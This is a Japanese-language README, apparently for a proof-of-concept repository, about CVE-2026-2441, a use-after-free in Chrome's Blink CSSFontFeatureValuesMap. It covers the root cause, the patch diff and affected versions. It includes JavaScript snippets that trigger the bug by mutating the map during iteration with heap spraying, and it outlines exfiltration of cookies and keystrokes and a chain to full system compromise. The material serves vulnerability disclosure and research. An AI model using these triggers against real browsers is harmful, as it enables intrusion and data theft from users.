| フィールド | 値 |
|---|
| CVE | CVE-2026-2441 |
| CVSS | 8.8（高） |
| タイプ | Use-After-Free（CWE-416） |
| コンポーネント | Blink CSS — CSSFontFeatureValuesMap |
| ソースファイル | third_party/blink/renderer/core/css/css_font_feature_values_map.cc |
| 修正コミット | 63f3cb4864c64c677cd60c76c8cb49d37d08319c |
| 報告者 | Shaheen Fazim（2026-02-11） |
| パッチ日付 | 2026-02-13 |
| 実環境での悪用 | あり — Googleが活発な悪用を確認 |
| プラットフォーム | 脆弱なバージョン | 修正済みバージョン |
|---|---|---|
| Windows / macOS（Stable） | < 145.0.7632.75 | >= 145.0.7632.75 |
| Linux（Stable） | < 144.0.7559.75 | >= 144.0.7559.75 |
| Windows / macOS（Extended Stable） | < 144.0.7559.177 | >= 144.0.7559.177 |
| Chromiumベースのブラウザ（Edge、Brave、Opera、Vivaldi） | ベンダーのアドバイザリを確認 | ベンダーにより異なる |
FontFeatureValuesMapIterationSourceは、内部のFontFeatureAliases HashMapへの生ポインタ（const FontFeatureAliases* aliases_）を保持していました。イテレーション中にset()またはdelete()でマップが変更されると、HashMapは再ハッシュされ、新しいストレージが割り当てられ、古いストレージが解放されます。生ポインタはダングリングとなり、次のFetchNextItem()呼び出しで解放済みメモリが読み取られます。
CreateIterationSource()
→ FontFeatureValuesMapIterationSource(map, aliases_)
→ aliases_ = 内部HashMapへの生ポインタ
→ iterator_ = aliases_->begin()
FetchNextItem()
→ iterator_->key を読み取る（aliases_経由）
イテレーションの合間に map.set() / map.delete() が呼び出された場合:
→ HashMapが再ハッシュ（新規割り当て、旧領域は解放）
→ aliases_ → ダングリングポインタ
→ iterator_ → 無効化
→ 次の FetchNextItem() → USE-AFTER-FREE
- const FontFeatureAliases* aliases_; // 生ポインタ → 再ハッシュ後にダングリング
+ const FontFeatureAliases aliases_; // ディープコピー → 再ハッシュの影響を受けない
この修正は、生ポインタをHashMapのディープコピーに置き換えます。元のマップが再ハッシュされても、イテレータは自身のコピー上で動作するため、ダングリングポインタが防止されます。
poc.htmlを開く| Chromeバージョン | 期待される動作 |
|---|---|
| < 145.0.7632.75（未パッチ） | レンダラークラッシュ — STATUS_ACCESS_VIOLATION（Windows）またはSIGSEGV（Linux/macOS）。Chromeに「このページを開けません」というエラーが表示されます。 |
| >= 145.0.7632.75（パッチ適用済み） | クラッシュなし — PoCは最後まで実行され、すべてのエントリが正常に読み取られます。 |
脆弱なChromeバージョンで開くと、レンダラープロセスがSTATUS_ACCESS_VIOLATIONでクラッシュします：
このページを開けません
エラーコード: STATUS_ACCESS_VIOLATION
これによりUAFがトリガーされたことが確認されます — ダングリングポインタが解放済み/未マップのメモリにアクセスし、レンダラープロセスが終了します。
PoCは3つの独立した方法でUAFをトリガーします：
entries()イテレータ + 変更ループconst iterator = map.entries();
while (step < 20) {
iterator.next(); // （現在ダングリングしている）ポインタ経由で読み取り
map.delete(key); // 再ハッシュをトリガー
for (i = 0; i < 512; i++)
map.set("spray_" + i, [i]); // 再割り当てを強制
}
for...of + 並行変更for (const [k, v] of map) {
map.delete(k);
for (i = 0; i < 512; i++)
map.set("alt_" + i, [i]);
}
requestAnimationFrame + レイアウト再計算function rafTrigger() {
document.body.offsetWidth; // レイアウト再計算を強制
const result = iterator.next();
map.delete(k);
for (i = 0; i < 512; i++)
map.set("raf_" + i, [i]);
requestAnimationFrame(rafTrigger);
}
各方法にはヒープグルーミングも含まれています — 同じサイズの@font-feature-valuesルールを50個割り当てて、潜在的な悪用のためにヒープレイアウトを予測可能にします。
document.cookie、localStorage、sessionStorage、フォーム入力値の読み取りfetch() / WebSocket / sendBeacon()による外部送信addEventListener('keydown')によるすべてのキーストロークの取得別のサンドボックスエスケープ脆弱性と組み合わせると：
レンダラーRCE（CVE-2026-2441）
→ Mojo IPCエクスプロイト → ブラウザプロセスRCE
→ カーネルエクスプロイト → システム全体の侵害
→ マルウェア / ランサムウェア / スパイウェアのインストール
→ ファイルシステムアクセス、横展開、永続化
同様のブラウザUAFを使用した実世界のエクスプロイトチェーン：
この脆弱性はドライブバイダウンロードで悪用可能です — 悪意のあるページにアクセスする以外のユーザー操作は不要です：
chrome://flags/#site-isolation-trial-opt-out）| 日付 | イベント |
|---|---|
| 2026-02-11 | Shaheen Fazimによって脆弱性が報告される |
| 2026-02-13 | GoogleがChrome 145.0.7632.75/76（Windows/macOS）、144.0.7559.75（Linux）をリリース |
| 2026-02-13 | Googleが実環境での悪用を認める |
| 2026-02-16 | VivaldiとOperaが修正をリリース |
この研究が役に立ったと思われた場合は、コーヒーを一杯ごちそうしていただけると幸いです：
この概念実証は、教育目的および許可されたセキュリティ研究目的のみで提供されています。明示的な許可なくシステムに対してこのPoCを使用することは違法かつ非倫理的です。著者はいかなる誤用についても責任を負いません。
MIT
